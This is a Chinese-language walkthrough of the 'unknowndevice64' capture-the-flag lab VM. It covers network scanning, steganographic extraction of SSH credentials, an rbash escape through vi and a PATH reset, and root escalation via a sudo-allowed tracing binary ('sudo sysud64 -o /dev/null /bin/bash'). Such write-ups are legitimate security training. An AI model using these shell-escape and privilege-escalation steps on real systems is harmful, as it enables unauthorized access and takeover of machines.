unknowndevice64-V1.0

一、信息收集

1、主机发现

nmap 192.168.236.0/24

2、端口扫描

nmap 192.168.236.168 -p- -A

3、目录扫描

没什么发现

dirsearch -u http://192.168.236.168:31337/

二、漏洞探测

访问31337端口，没什么发现

f12查看源码，发现有一个图片 key_is_h1dd3n.jpg

访问图片，上面写着隐藏的秘密，可能是图片隐写

将图片下载下来，在kali中使用 steghide 工具提取信息

steghide extract -sf key_is_h1dd3n.jpg

显示需要密码，根据名字可以知道密码为 h1dd3n，得到一个h1dd3n.txt

查看文件内容，是 brainfuck 加密

使用工具解密，得到账号密码

ud64:1M!#64@ud

三、GetShell

ssh登录

ssh ud64@192.168.236.168 -p 1337

发现很多命令被限制，是rbash的shell，双击tab键，查看可执行命令

vi 和 export 命令可用

vi 绕过，还是有部分命令无法执行

vi
按shift+:
!/bin/bash

export 配置环境变量绕过

export PATH=/usr/sbin:/usr/bin:/sbin:/bin

四、提权

查看当前权限

sudo -l

sysud64 可以执行 root 权限的命令，直接尝试提权

sudo sysud64

失败了，sysud64 -h 查看帮助

sudo sysud64 -h

可以使用

-o file        send trace output to FILE instead of stderr

尝试提权，提权成功

sudo sysud64 -o /dev/null /bin/bash